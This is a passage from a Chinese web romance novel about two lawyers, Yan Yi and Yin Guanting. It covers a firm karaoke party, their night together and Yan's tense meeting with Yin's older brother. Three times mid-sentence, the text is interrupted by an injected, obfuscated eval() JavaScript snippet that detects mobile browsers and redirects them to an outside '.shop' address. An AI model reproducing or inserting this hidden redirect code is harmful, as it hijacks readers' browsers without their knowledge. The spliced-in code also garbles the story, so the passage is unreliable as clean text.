得到答案的胖哥一溜烟跑进了影音室，抢占了周舟主持人位置，大声宣布接下来是尹律师的经典老歌放送，听过尹观庭唱歌的众人顿时一片欢腾。 尹观庭在一片起哄声中淡定跟点歌机旁边的工作人员说了句什么，声音效果一流的音响中顿时流淌出一阵悠扬的旋律。 严熤还没进门就看见门里边小陶冲他招手，于是趁着尹观庭点歌的当口，溜到了小陶身边坐下，正准备随口聊几句，就见小陶低头在手机上戳戳戳，于是只好闭嘴，把眼神放在了尹观庭身上。 影音室不算很大，装修和KTV差不多，壁挂式电视机前留了一块平地当成舞台，左边位置还有设计雅致的白色吧台，上面悬挂着高低错落的饰品。尹观庭没有站在中间，而是一手插兜放松地倚靠在吧台上，衬衫西裤顺着动作舒展开来，勾勒出隐约的肌肉线条。 “像一阵细雨洒落我心底， 那感觉如此神秘， 我不禁抬起头看着你， 而你并不露痕迹， 虽然不言不语， 叫人难忘记。” 温柔低沉的男声从音响里传来，像清风拂过众人的耳畔。 严熤心头一跳，而刚刚还看着屏幕的尹观庭突然扭头看了过来，跟他对上了眼神。 “那是你的眼神， 明亮又美丽， 啊， 有情天地， 我满心欢喜。” 第一段落完结，众人十分捧场地欢呼起来，还有几个唯恐天下不乱的狂吹口哨。 而严熤沉浸在刚刚那个眼神中，眼睛的主人似乎有万千情愫要倾诉，但出口却委婉而克制。 “虽然不言不语， 叫人难忘记， 那是你的眼神， 明亮又美丽， 啊， 有情天地， 我满心欢喜。” 男版蔡琴名不虚传，尹观庭唱功算不上顶尖，情绪却十分到位，加上声音的加持，配合《你的眼神》舒缓柔和的音乐，十分容易就把人带入内敛却缱绻的情愫中。 尤其是后半段他的眼神几乎在严熤身上没有离开过，严熤恍惚间甚至感觉面前的人给他念了一首情诗。 好在这个场合从来不缺捧场和破坏气氛的，律师这行业其他不多，社交恐怖分子要多少有多少，尹观庭一首终了，欢呼的，调侃的，吹口哨的，一直复读再来一个的，各种声音清空了音乐带来的暧昧氛围。 尹观庭风度翩翩地抚胸微微鞠躬，算是谢过了各位同事的捧场，然后下一句话就冷酷无情地点名大李律师献唱，把话筒交出去之后就准备下场休息。 严熤看着他似乎想往自己这边走，但走出一步之后又顿住，十分自然地换了个方向，到了王信鸿身边，王信鸿给他递了一杯酒，两人就这么聊上了。 严熤这才若有所失地收回眼神。 结果就发现身边哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740093|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不对劲。 往左一转头就跟睁大眼睛的小陶对上了视线。 严熤：“……怎，怎么了？” 小陶：“没什么没什么，就问问你不上去来一首？” 严熤看了看正跟着《红日》旋律左摇右摆的大李律师，摇了摇头：“等会儿吧，话说你怎么不唱？” “嗨，我们这种属于五音不全氛围组，”小陶一摆手，恰好BGM此时进间奏，小陶顿时抛下严熤，十分热情地跟着众人一起“噢噢噢噢”。 严熤：“……” 他总觉得小陶是发现了什么，但他没有证据，只能一边听人唱歌，一边心不在焉地在手机上划来划去。 突然，手机震了一下，严熤低头一看，是尹观庭发过来的微信。 尹观庭：“闪闪，很无聊吗？” 严熤瞬间抬头往尹观庭的方向看了过去，尹观庭一手端着酒杯，一手拿着手机，感受到他的视线，抬头冲他露出一个笑。 带着几分醉意，又说不出的温柔。 严熤下意识回了个笑，结果又发现旁边有道鬼鬼祟祟的视线，转头一看，小陶低着头在手机上戳戳戳，那道视线似乎是他的错觉。 严熤回过头，犹豫了一下还是在微信上跟尹观庭聊了起来。 严熤：师兄，你不唱了吗？ 尹观庭：一般都只唱一首，你有想听的？ 严熤：我想听你就唱哦？ 尹观庭：我要报酬的 严熤：【亲亲.jpg】 尹观庭：好吧，有什么想听的？ 严熤一时还真想不起来要听什么，作为一个从来只把音乐当伴奏的人，他没什么特定的喜好，从来都是音乐软件首页推什么就听什么。 但他又觉得尹观庭唱那种舒缓的情歌有种说不出的韵味，不仅想听还想看。 他在这犹豫不决的时候，手机震了两下。 尹观庭：想不出来？ 尹观庭：那我帮你想吧 严熤抬头，就见尹观庭放下了酒杯，走到了点歌机旁边。 观察到他动向的显然不止严熤一个人，有一副破锣嗓子所以一般这个时候都老实当听众的李昀第一个起哄：“哦呦太阳西边出来了！尹律今天居然有第二春？” 一时间众人的眼光都聚集在尹观庭身上，尖叫声此起彼伏。 大李律师十分上道地交出了话筒，下一秒，欢快的音乐响了起来。 “我想偷偷望呀望一望他 假装欣赏欣赏一瓶花 只能偷偷看呀看一看他 就好像要浏览一幅画 ……” 尹观庭被称为男版蔡琴的主要原因就是他特别喜欢唱蔡琴的歌，最喜欢的就是《渡口》，曾经有一段时间，一整年的聚餐，不管聚众K歌的时间有多长，他唱且只唱这一首，只唱一遍。 然而今天的歌单上竟然多了两首，特别是他从来没唱过的《心恋》，一时间大家都有一种见证历史的新鲜感。 只有小陶，眼神诡异地看了看严熤。 严熤：“……” 这种无法面对的心虚感是怎么回事？！ 46. 第 46 章 事实证明严熤的直觉一向挺准，随着时间推移大家渐渐玩嗨了，三三两两地聚在一起喝酒聊天，趁着这个机会小陶端着一杯白酒到了严熤身边。 严熤敬谢不敏：“我一会儿得开车，不跟你喝。” “这是雪碧！”小陶拍了他一下，敷衍地跟他一碰杯，左右瞄瞄发现尹观庭和王信鸿正处于人群中央，于是用一种开玩笑的语气“逼问”严熤，“老实交代，你跟尹律是不是有什么意外情况？” 严熤心道刚刚果然不是错觉，小陶真的一直在观察他，不过这种事也没什么不好承认的，于是他大大方方地一点头：“也不算特殊情况吧，我们在一起了。” 小陶倒吸一口凉气。 严熤反而被她弄得哭笑不得：“你不是猜到了吗？还这么惊讶？” “不不不，猜测和事实是两码事，”小陶连连摆手，她本来只是觉得尹观庭对严熤的关注有点超乎寻常，寻思着自己和严熤关系也算不错，用开玩笑的方式问一问满足一下自己的好奇心，可没想真的知道什么大新闻。 好奇心害死猫啊！ 陶律师很是懊恼，有些尴尬地“咳”了一声，压低声音说道：“你放心，我会帮你们保密的。” 严熤自己倒是无所谓公开不公开，但想到尹观庭都帮他找好下家了，这个时候有什么风吹草动说不定就是一出狗血大戏，于是默认了小陶说法，顺便给她打了个预防针：“说起来，年后我应该就回去易律师的团队了。” 小陶再次倒吸一口凉气。 严熤很嫌弃：“你今天鼓风机成精吗？这都什么动静！” “这也能怪我吗？还不是你消息一个比一个劲爆！”小陶很是冤枉，“不是，你们不是那啥吗？怎么你还要换团队的？” 严熤想了想，干脆把尹观庭跟他说的理由和小陶重复了一遍，小陶听完露出一个感慨的表情：“有道理啊，不过和上司谈恋爱就是这点不好，显得公私不分似的，而且我现在还觉得你在逗我玩儿，怎么有人能顶着尹律那种工作态度喜欢上他的？” 这话严熤就不爱听了：“什么叫那种工作态度，师兄工作态度不好吗！前段时间律所分享会上还号召我们向他学习呢。端正你学习的态度陶律师！” 陶律师翻了一个大大的白眼：“我就多余跟你说这话。我说的态度是这个态度吗！之前尹律多少任助理私底下恨不得理他八百米，偏就你能凑上去。” 别说，她说得还真有几分道理，严熤本来也是这样的，但现在回想起来，他们关系开始亲近的契机其实是尹观庭率先跟他拉进了距离，私下相处时收敛了那股拒人于千里之外的冷漠。 可是为什么呢？ 严熤思来想去，觉得可能还是因为脸吧。 眼见他说着说着开始走神，走神期间还伸手摸了摸自己的脸，小陶一阵恶寒，顿时跟他拉开距离。 不是很懂你们男同.jpg 严熤不以为意，目送她端着cos成雪碧的白酒四处碰瓷，脑子里还在纠结刚刚的问题。 所以尹观庭看上他真的是因为脸吗？ 这个问题，直到散伙后，严熤把喝醉了的尹观庭送回家，把人安置在沙发上，自己进了厨房准备好蜂蜜水又出来时，还在纠结。 以尹观庭的酒量，今晚这点量不算什么，只是有点头晕，喝了严熤递过来的蜂蜜水后，舒服了不少，连带着意识都清醒了一些。 他半闭着眼睛靠在沙发上按揉着太阳穴，感觉严熤凑了上来。 小男友轻柔地呼吸拂在脸上，尹观庭感觉有点痒，于是他笑了笑：“闪闪，你是要帮我按摩一下吗？” “嗯？”严熤怔了一下，随即反应过来，一口答应，“好呀，师兄你头疼吗？” 一边说着，一边伸手帮尹观庭按了按两边太阳穴。 只是坐在他一侧的姿势实在不好使劲，严熤调整来调整去，干脆跨坐在他腿上形成了一个面对面的姿势。 很好，这下方便了。 严熤十分满意，随即想到什么，还不忘关心一下尹观庭：“我这样坐你腿不酸吧？” 尹观庭：“……” 尹律深深地叹口气，对他有些时候的迟钝和天真一点办法都没有。 于是他伸手握住面前人的劲瘦的腰肢，一用力，严熤整个人都扑倒了他怀里。 这时候严熤才后知后觉地发现，他们俩这姿势有大问题！ 某些学习资料上面的种种画面顿时浮现出来，学习工具渐渐变成了尹观庭的脸，严熤随即惊恐地发现身体某些部位开始不听使唤了！ 他有些艰难地咽了咽口水：“那，那什么，我们换个姿势。” 尹观庭半闭着眼靠在沙发上，揽在他腰上的手指慢慢摩挲，整个人说不出的慵懒：“嗯……那你喜欢什么姿势？” 这种时候不要问这种暧昧的问题！ 严熤内心呐喊，感觉自己身体和心灵分成了两半，一个眷恋着身下人的体温，一个在疯狂提醒离开。 “我其实有问题要问！那什么……”严熤脑子里飞速运转，想着要说点什么来摆脱现在的问题，“那什么……你当初为什么会喜欢我？” 尹观庭在他腰间揉捏的手停了下来，严熤顿时松了一口气。 但尹观庭并没有放开他，而是就这个姿势想了一会儿，才在严熤期待的眼神里慢悠悠地说：“因为你长得好看。” 严熤：“……” 他生气地捏住尹观庭一边脸颊肉，看着尹律冲他露出一个变了形的促狭的笑容。 “非要说原因的话，是给我自己一个交代吧。”尹观庭深谙逗人的精髓，拉开严熤的手，把自己的脸解救出来后第一句话就转移了严熤的注意力。 严熤有点茫然地重复：“给自己一个交代？” 尹观庭一边按揉着他的手，一边回忆：“我以前，我是说我还没来C市之前，接了挺多司法援助的案子。这些当事人大多 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话一出口就被自己仿佛哽咽的声音吓了一跳。 尹观庭摸了摸他的柔软的脸颊，接着说道：“当然后面就是见色起意了，毕竟我们闪闪是真的长得很漂亮。” 这迟来的调侃并没能影响严熤的情绪，他现在能回想起尹观庭向他的靠近，但从来没想过后面还有这样的心路历程。自从家里人相继去世，不论社会还是自己都在逼迫他正视现实，其实这些年他的圣母病已经好了太多，也知道面对他人时要多留一个心眼，知道收敛自己多余的同情心……把大部分存款都给杨琴芳是他告诉自己做的最后一件傻事。 但现在有个人说希望他能一直保持这样的天真和赤诚。 这个人还曾经冷淡表示让他收敛同理心。 这样的反差谁说不是命运给他的礼物呢。 严熤咽下哽住喉咙的异物，吸一口气，捧起尹观庭的脸，气势如虹地宣布：“师兄，我想要你。” 尹观庭一时默然。 虽然不知道小朋友这脑回路是怎么回事，但面对严熤的发言，尹律问出了一个很现实的问题：“闪闪，你会？” 严熤的气势减弱了一分，但还是十分理直气壮：“我学会了！” 尹观庭嘴角一抽，不是很想问他是跟谁学的。 十有八九是什么悬浮的片子。 不过，尹观庭眼神缓缓扫过面前的人，客厅只开了壁灯，黯淡的灯光下严熤精致的五官愈发柔和，或许刚刚的感动让他有了些泪意，眼睛一片波光潋滟，然而眼神却意外的干净，没什么欲望，只有纯粹的亲近。 尹观庭笑叹一声。 严熤未必是真的想做，大概只是想通过这种情侣之间最亲密的方式来表达自己的满溢的情感。 但没关系，两个人之间有一个人不纯洁就可以了。 他一把压下严熤的头，缠住了他的舌尖。 47. 第 47 章 严熤把尹观庭团了团抱进怀里，紧紧地贴着他。 尹观庭大概自有懂事以来就没这么失态过，理智卷入浪潮中无法自拔，唯一清晰只有严熤的眼睛。 明亮而锋利，仿佛狼王在享受猎物。 他扭过头看着贴着自己青年，严熤侧躺他在他身边，感觉他的视线，便睁开的半阖的双眼，露出满含喜爱的眼神。 眼睛褪去了情欲驱使下的攻击性，重新变得无辜而清澈。 尹观庭忍不住翻过身体，想摸摸他的眼睛，但这一动便不由自主地闷哼了一声。 严熤连忙凑过来：“师兄？” “没事。”尹观庭缓了一下，如愿以偿地碰了碰他的眼睛，严熤下意识闭上眼，浓厚的睫毛像小刷子一样刷过他的指腹。 这会儿这么乖。 尹观庭有点想笑，嘴角也很诚实地弯了起来。 严熤睁开一只眼睛，看到了他笑，顿时精神起来，凑得更近一些，抱住他蹭了蹭：“你舒服的哦？” 尹观庭：“……” 这过程属实有点丢脸，尤其是因为年长，在严熤面前很多时候他都是主导者的角色，在小朋友面前剖析这种事也未免太过羞耻。 可看着严熤期待的眼神，又说不出违心的话，于是他只能干咳一声，点点头算是回应。 “师兄你脸红了哦~”严熤笑起来，带着一点得意和促狭，“让你以前调戏我，调戏我好玩吗？哼~” 尹观庭被他逗乐了：“所以你就这么报复我？” 严熤摇头晃脑：“怎么是报复呢？我明明是伺候你。” 尹观庭：“……” 他忍不住伸手捏了捏严熤的脸颊：“怎么脸皮突然变得这么厚？” 严熤甩开他的手，用脸贴上来蹭他：“当然是跟你学的！你就说我伺候的好不好吧。” 尹观庭有种被大型毛绒动物疯狂蹭脸的感觉，带着一点无奈地制止：“好好好，那可是太好了，不过闪闪……” 他伸手示意严熤附耳过来，一副有悄悄话要说的样子。 “嗯？”严熤被他未尽之言勾起了好奇心，凑了过去。 尹观庭在他耳垂上吻了一下，刻意压低的磁性嗓音在耳畔响起来：“我不算年轻了，所以别折腾我，好不好？” 严熤猛然捂住耳朵直起身子，他知道自己脸肯定红了，从耳朵到脸上都热得不行。 尹观庭哼笑一声，带着一副“你就这点出息”的表情看他。 严熤恼羞成怒，直接扑上去打算让他见识一下什么叫折腾。 两人再次在被窝里滚做一团，情人间的呢喃渐渐融入了夜色中。 …… …… 一晚放纵的结果就是第二天谁都没起来。 好在现在临近年关，各项工作都进入了收尾阶段，尹观庭在中午醒过来时才不至于被成堆的电话和信息淹没。 饶是如此，也还是堆积了不少未读信息和邮件。 他挑着几个简单的回复了，对着复杂的事情实在有心无力。 昨晚严熤除了第一次，后面还算小心，事后也做了清理和护理，他后面倒不是非常难受，但身体各处都发出了睡眠不足的抗议，何况…… 他微微偏头看了看身边的人，严熤埋在他脖颈里睡得人事不知，尹观庭又是看手机又是打字的，都没能吵醒他，这睡眠质量是真的让人羡慕。 寒冷的冬天，暖融融的被子里窝着亲密无间的爱人，均匀的呼吸就在耳边清晰可闻，催眠效果简直一流，尹观庭抵抗了没两秒钟就抵住严熤的额头睡了过去。 再次醒来时，已经下午了。 身体相贴的部分几乎在发烫。 严熤放下手机，腻了过来：“师兄你醒了，要吃什么？我们点外卖吧，我好饿。” 尹观庭还有些睡多了的困倦：“饿了怎么不先去吃点东西？你随便点吧，我都可以。” “那就那家粤菜吧，给你点个清淡的粥，”严熤拿回手机三下五除二下好单，这才回答他上一个问题，“因为不想离开你呀~” 尹观庭笑了一声：“无事献殷勤，又想干什么坏事，嗯？” “你怎么能这么想我呢？”严熤伤心的不得了的样子，“得手了就不珍惜了，我懂了，我就只是哥哥鱼塘里的一条鱼罢了。” 尹观庭忍俊不禁，捏着他脸颊晃了晃：“都哪儿学来的？鱼塘怕不是只容得下你一条这么闹腾的鱼。” 严熤“嘿嘿”两声，贴到他身上腻歪，两人就这么依偎在被子里说些废话，时不时交换一个清浅的吻，直到外卖的电话进来，刚刚还有情饮水饱的严熤迅速翻脸不认人，火速穿好衣服把吃的拎了进来。 尹观庭慢悠悠地洗漱换衣服，从卧室里走出来，就看见严熤探头探脑地坐在桌子边看他，见他行走之间步履如常，不由得露出了一个若有所思的表情。 尹观庭在他身边坐下，轻敲了他额头一记：“想什么呢？” 严熤头摇成拨浪鼓：“没有没有。” 不是说受方第二天都走不了路吗？怎么看师兄一点影响都没有的样子。 尹观庭不知道他内心的嘀咕，吃了两口严熤特地给他点的粥垫了垫肚子，才想起昨天没来得及说的正事：“闪闪，过年你要回老家吗？” 严熤愣了一下。 他家本就人丁单薄，更别说父母出事之后，仅剩的几个亲戚也不来往了。奶奶刚过世的一年，他是在余畅家里过的年，再然后他不想一个人回去面对空荡荡的房子，也不愿意打扰余家，于是干脆过年都留校，除了除夕参加一下学校为留校学生组织的晚宴，其他时间都在为了过年期间三倍兼职工资奔波着。 但今年他也不算孤家寡人了。 不过…… “师兄你要回家过年的吧？”严熤没说自己回不回去，反而先问了尹观庭。 尹观庭慢条斯理地搅拌着粥：“我今年不回去，你要是你也不回去，就在这里跟我过吧。” 严熤忍了忍，到底还是没忍住露出一个灿烂的笑：“啊，那你不回去你家里没意见吗？” 尹观庭看着他装模作样就想笑：“我家里的过年都是应酬，反正我又不接触集团事务，有我没我没区别。” 其实是有的，和家里关系破冰之后，他逢年过节也还是会回去看看，顺便参加一下光源集团的那些年会，拓展一下人脉——这也是他明明在C市执业但在京城还颇有口碑的原因。 不过这种事情明年去做也是一样的，缺席一年想必两位尹总都很能理解。 这些就没必要告诉严熤了。 他听着严熤兴致勃勃地规划过年的计划和安排，一心二用地寻思着之后的种种安排。 年后严熤就得去易律师那里报道，得提前先把小朋友忽悠过来同居才行，否则两人见面的时间只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740095|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会无限缩短……还得找个借口把老爸糊弄过去……至于尹观澜，直说就行，反正他理亏在先，肯定不会跟老爸告密。 尹律有恃无恐。 …… …… 现实很快告诉尹律，计划赶不上变化。 易律师团队新接手了一批劳动案件，当事人共有54个，而说好年后离职的团队律师提前离职，搞得易律师措手不及，为了赶在年前把立案材料提交法院，易律师很快把严熤要了过去。 严熤不得不在律所大半人都放假的时候在办公室苦哈哈的加班。 尹观庭忽悠人退租搬家的计划也不得不搁浅，一方面是严熤租的房子离办公室更近，另一方面是他一个地市的客户年关闹出工人堵门要工资的事情，紧急召唤他前去谈判，尹观庭不得不暂时离开C市。 于是两人明明才肌肤相亲，关系更进一步，就不得不开启网恋模式，每天就只有晚上睡前一两个小时视频一下聊以□□。 这天严熤在自己新搬的工位上加班加点地处理案件材料，易律师突然出现，笑呵呵地叫他：“小严，跟我来，见个客户。” 严熤看了看自己还有一大半没完成的材料，认命地叹一口气，拿上电脑跟着他走了。 路上易律师问道：“还习惯嘛？我的工作要求和尹律不太一样，要是不适应啊，要快点跟我说，不然一不小心搞抑郁了，我罪过就大了。” “在易哥手下那想抑郁也不可能，除非您非要说冷笑话。”严熤跟他开了个玩笑，易律师的工作风格和尹观庭几乎是两个极端，属于非常随和的那类，而且尤其热衷于冷幽默，团队氛围也轻松，以严熤的社交属性，很快融入了新的团队。 只是易律师虽然不会对犯的错疾言厉色，但是会如唐僧一般的絮絮叨叨。 某种程度上也挺折磨的。 易律师嗤之以鼻：“小年轻没品味，我的笑话可不是谁都能听的。不过我也觉得你没问题，毕竟是尹律调教出来的嘛，顶呱呱。咱们先说正事，咱们今天这个客户来头可不小，是国内能源巨头光源集团设在C市的下游生产企业，劳动密集型的产业，对人事方面很重视，所以找到了我们做个劳动专项。一会不用你说什么，就是记录一下……” 严熤在听到“光源”二字的时候就开始头皮发麻，虽然理论上知道这么一个远离帝都的工厂不至于惊动尹观庭的兄长，但前几天才把人家弟弟按在床上这样那样，这会儿遇到跟光源沾边的事情就有点发怵。 “小严，我刚刚说的你记下没？”易律师的声音换回了他的神智，严熤赶紧把注意力拉回来：“我记住了。” 易律师一点头：“那就行。” 说着推开了会议室的大门。 客户来了四五个人，见到易律师，其中一个中年男子站起来热情地打了声招呼，顺便介绍了一下己方的来人。 中年人旁边还坐了一个西装革履的年轻男子，看上去只有三十出头，表情随和，却带着一种身居高位的矜贵。 中年人的介绍是“总公司的尹总，来C市处理些私事，顺便视察项目。” 总公司，尹总，C市处理私事。 这几个关键词一叠加，严熤基本已经猜出来人的身份了。 有了这个倾向再仔细一看，尹总的眉眼和尹观庭不说有七八分，五六分相似肯定是有的。 他一时间竟然有了转身就跑的冲动。 48. 第 48 章 诚如严熤最开始所想，这么一个下游企业不至于惊动尹观澜，所以真正的负责人其实企业现在的执行董事，也就是起来介绍的中年男人，姓蒋。 尹家两兄弟长的不算很像，但熟悉的人仔细观察又能看出两者的血缘关系，且两人气质差别很大，加上尹观庭一向低调，律所里没几个人知道他的家庭，所以在座的各位除了严熤这个知情人，也只有同为律所创始合伙人之一的易律师知道尹观澜和尹观庭的关系，有些诧异地看了好几眼，大概是在奇怪为什么没有通知尹观庭。 而严熤眼观鼻鼻观心，老老实实地在角落坐下，安静地当一个人人形记录机。 不知道是不是他的错觉，他总觉得尹观澜往这边看了好多次，似乎是在观察他。 于是严熤下意识地坐端正了，全程眼神不敢往尹观澜方向看，把十二万分的精力都投入到了会议里。 等会议结束就感觉自己腰背僵硬得快断了。 正事谈完，接下来是例行的参观时间，易律师带着一行人在律所里走走看看，严熤就抱着自己的电脑在后面跟着，但走着走着，本来在前面的领头的尹观澜突然停了下来，严熤内心突然升起一阵不详的预感。 果然，尹观澜委婉表示了想去卫生间希望有个人带路的想法，易律师想都没想，直接点名严熤带路，严熤只能硬着头皮上前，比了个“请”的手势：“尹总，这边。” 尹观澜没着急走，审视的眼神在他身上转了一圈，这才笑着跟易律师说道：“严律师真是一表人才，看着很年轻啊。” 严熤干笑一声，总觉得他话里有话。 易律师倒是半点不觉得有问题，闻言哈哈一笑：“小严可是R大的高材生，小伙子长得好能力也强，虽然入行没多久，但老实说做的比许多两三年的律师好多了。我们最近就在处理一个很复杂的批案，五十多个当事人，尹总你也知道，这种人越多越难协调，但协调签署材料这件事我交给小严之后，还没让我操过心，这个沟通能力，我们团队里谁不说一声厉害。” 求您少说两句吧！！！ 严熤内心呐喊，他还是第一次知道被人表扬也会有这种社死的尴尬感。 尤其是尹观澜听完后，看过来的表情更加微妙了。 严熤不能让现在的老板闭嘴，也不能让尹观澜闭眼，只能顶着发麻的头皮保持微笑，感觉自己脸部肌肉都在颤抖。 几秒后，尹观澜移步，很客气让严律师帮忙带路。 严熤终于从那个漫长得仿佛过了一个世纪的打量中脱离出来，赶紧走到前面带路。 两人渐渐脱离了大部队。 尹观澜突然开口问道：“严律师，你很紧张？” 严熤身体一僵，随即打了个哈哈：“有一点，毕竟我以前也没有接待过您这样的大客户。” “是吗？”尹观澜脸上是温文尔雅的笑，似乎认可严熤的说法。 前方已经能看到卫生间的标志，然而还没等严熤松一口气，尹观澜冷不丁说道，“我以为你之前跟在尹观庭身边应该见过不少世面，毕竟那小子事业干的还算不错。” 严熤心里一惊，脸上的笑容差点没维持住。 “别紧张，我不会掏出支票来让你离开尹观庭的，”尹观澜伸手拍了拍他的肩，玩了个陈年老梗，“要是时间倒退十年还有可能，不过现在他都三十多岁的人了，我这个当哥哥的总不能管的太宽。” 这话让我怎么接，难道说谢谢你的理解吗？ 严熤内心苦哈哈的。 见家长这种事可能是世界上最让人紧张的事情之一了，特别是和另一半差距过大的时候，这个紧张就有可能变成折磨。严熤不是没考虑过日后要怎么面对尹观庭的家人，然而并没有能思考出结果。 尹观庭没有带他回家的意思，他潜意识里也不想现在去见他的家人。 毕竟尹观庭事业有成，而他只是一个刚出校园的年轻人，两人之间还有八岁的年龄差，在尹观庭家人眼里，这种组合可能更像是他被尹观庭包养了吧。 他不想在自己身上贴上“跟在尹观庭身边的小玩意儿”的标签。 起码也得有一定的事业再考虑，哪怕不是尹观庭这个级别的王牌律师，也不能是跟在大佬后面连律师证都没有实习生。 但计划赶不上变化，他也没想到自己会在这个场合见到尹观澜，更不知道为什么尹观澜会知道他。 “尹观庭跟我提过你，而且还说今年放心不下你一个人过年，所以他不回家了。”尹观澜轻描淡写的声音响起来，严熤惊疑不定的抬头，差点以为自己把内心想法说出了声。 尹观澜微微笑了笑：“年轻人，不要什么事情都放在脸上。” 严熤有点尴尬地摸了摸鼻子，硬着头皮问道：“那……尹总您是来抓师……尹律师回去过年的吗？” 尹观澜眼神奇妙地看他一眼：“如果我非要带他回家的话，这严格来说算是绑架的一种吧？不犯法吗？” 啊？严熤眼神茫然，脑子里下意识地划过绑架罪的定义，嘴上跟着秃噜出来：“这个算不上，绑架是有明确勒索财物目的的，您这……” 尹观澜饶有趣味地看着他。 严熤顶着他的眼神坚强地把后面的话续上：“强行带他回家过年的行为最多算民事纠纷。” “呵呵……”尹观澜笑起来，轻轻鼓了鼓掌，“虽然不确定你说的对不对，但这个回答确实显得很专业。” 我到底在说什么，严熤一脸木然。 要是尴尬有实体，他现在的尴尬应该已经可以建故宫了。 “不过我没打算干涉他的决定，”尹观澜表情淡淡，“我只是来看看他现在的男朋友是什么样子的，只是没想到现在提前遇到了。” 没等严熤回答，他看了看表，说道：“好了，我们回去吧，别让易律师他们等急了。” 说完抬步往回走，严熤赶紧把杂七杂八的念头收起来，举步跟上。 尹观澜认路水平一流，回去的脚步的毫无滞涩，远远已经能看到正在边聊边等的众人，严熤犹豫半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740096|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是开口问道：“尹总，关于我跟尹律师，您真的不反对吗？” 尹观澜停下脚步，看着严熤笑了笑：“下次不用叫尹总。” 啊？ 什么意思？ 严熤一时茫然。 然而尹观澜已经表情淡定地往前走去，没一会儿就和众人会合，场面话说完之后，领着一群人离开了律所，严熤始终没能找到机会问认一下，他最后一句话到底是什么意思。 等送完这尊大佛，严熤只来得及给尹观庭发了一条“我见到你哥哥了”的信息，就被易律师抓走继续干活了。 而尹观庭一直没回复。 直到晚上十点半，严熤总算整理完了所有起诉材料，就等明天上班第一时间在网上立案，这才有空看手机，发现尹观庭在七点给他发了一条信息：“忙完了吗？我在律所楼下。” 摊在椅子上装尸体的严熤顿时一跃而起，迅速收拾好自己的东西，跟一起加班的同事打了个招呼：“钊哥书琴我先走了！” 说完没等回复，人已经消失了。 易律师的团队加上严熤总共有六个人，其中主要负责这批案件的是资深律师吴钊带秦书琴和严熤两个低年级律师。 被留下的吴钊和秦琴面面相觑。 秦书琴：“他刚不是还一副累得半死的样子吗？吃兴奋剂了？” 吴钊律师一耸肩：“没准女朋友来了归心似箭呢，你男朋友来接的时候不也这样吗？” 秦书琴一翻白眼：“我才没这么不矜持！” …… 飞奔下楼的严熤不知道两位同事的诽谤，下到停车场一眼就看到了斜靠在车门上的尹观庭。 他西装外边套了一身风衣，衬得整个人愈发修长俊挺。 “师兄！你回来啦！”严熤扑过去抱住他，明明两人也就四五天没见，他却有种久别重逢的感觉，把头埋在尹观庭脖颈间，轻嗅着淡淡的草木清香。 尹观庭回抱住他，偏头亲了亲他的耳朵：“嗯，想我没？” “嗯！”严熤点头，蹭了蹭他的脸，“你什么时候回来的？事情处理完了？” 尹观庭静静享受一会儿他的亲昵，这才说道：“我今天回来的，事情谈妥了，总包那边先预付一部分工程款应急，剩下的就年后再说，肯定有得忙。” 从客户所在的地市没有高铁也没有机场，尹观庭是自己开车过去的，而车程要七个多小时，这一路回来估计没怎么休息过。 严熤顿时有点心疼：“……你怎么不先回去休息啊？” “我在车上睡了一会，”尹观庭随口回答，然后握住他的腰把人拉开一点距离，仔细看了看他的表情，“还行，看来尹观澜没为难你。” 所以…… 严熤笑得仿佛偷腥的小狐狸：“你是怕你哥为难我，才直接来律所找我的？担心我呀？” 尹观庭每次都觉得他这种狡黠的表情十分可爱，忍不住笑：“你说呢？” 然后他倾身向前，把严熤的回答都堵在了唇齿间。 49. 第 49 章 两人黏糊了一会才上车，严熤在回去的路上把今天下午的事情和尹观庭说了，整个人看上去有点心有余悸：“你都不知道有多吓人，我一进办公室就看到你哥，差点以为他是专门来找我算账的。” 尹观庭忍俊不禁：“这倒不至于，还真是恰好碰上。他对你印象挺好的，而且就算他有意见，他也管不了我，所以你不用给自己压力。” 严熤听得嘴角一翘，随即想到尹观庭刚刚的态度：“师兄你怎么一副早就知道的样子？” 这个当然是尹观澜说的。 时间倒回六个小时之前。 尹观庭解决完谈判的事情，和客户一起吃了个中饭，没怎么休息就开车回C市，在路上一个服务区休息的时候，接到了尹观澜的电话。 尹观澜：“我到C市了，明天出来一起吃个饭。” 尹观庭皱眉：“你什么时候到的？我现在不在C市。” 尹观澜：“你明天回不来？” 尹观庭：“……可以。” 尹观澜：“那不就完了，叫上你那位小朋友，今天见到他了，看样子被我吓了一跳。” 尹观庭也被吓了一跳：“为什么你会见到他？” 